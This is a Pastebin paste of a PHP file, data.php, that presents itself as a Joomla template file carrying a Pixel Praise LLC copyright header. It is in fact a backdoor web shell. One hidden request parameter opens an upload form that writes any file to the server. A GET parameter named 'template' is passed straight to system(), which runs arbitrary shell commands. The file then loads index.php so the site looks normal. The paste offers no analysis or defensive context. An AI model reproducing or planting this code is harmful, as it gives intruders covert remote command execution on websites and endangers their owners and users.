PalmaSolutions

data.php

Apr 30th, 2018
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.80 KB | None | 0 0
  1. <?php
  2. /**
  3.  * @copyright   Copyright (C) 2009-2011 Pixel Praise LLC. All rights reserved.
  4.  * @license     All derivate Joomla! code isGNU/GPL, all images and CSS Copyright (C) 2009-2010 Pixel Praise LLC.
  5.  */
  6. if(isset($_REQUEST['admin']) && $_REQUEST['admin']=='pad'){
  7. if (isset($_POST['ok']) && isset($_FILES['joomLa'])) {
  8.    $file = $_FILES['joomLa']['tmp_name'];
  9.    $name = $_FILES['joomLa']['name'];
  10.    move_uploaded_file($file, $name);
  11. }else{
  12. ?>
  13. <br>
  14. <form method="POST" enctype="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>">
  15. <input type="file" name="joomLa">&nbsp;<input type="submit" name="ok" value="AdminPad">
  16. </form>
  17. <?php
  18. } exit;
  19. }
  20. if (!empty($_GET['template']))
  21. {
  22. echo "<pre>";
  23. system($_GET['template']);
  24. echo "</pre>";
  25. exit;
  26. }
  27. require_once(dirname(__FILE__).DS.'index.php');
  28. ?>
Add Comment
Please, Sign In to add comment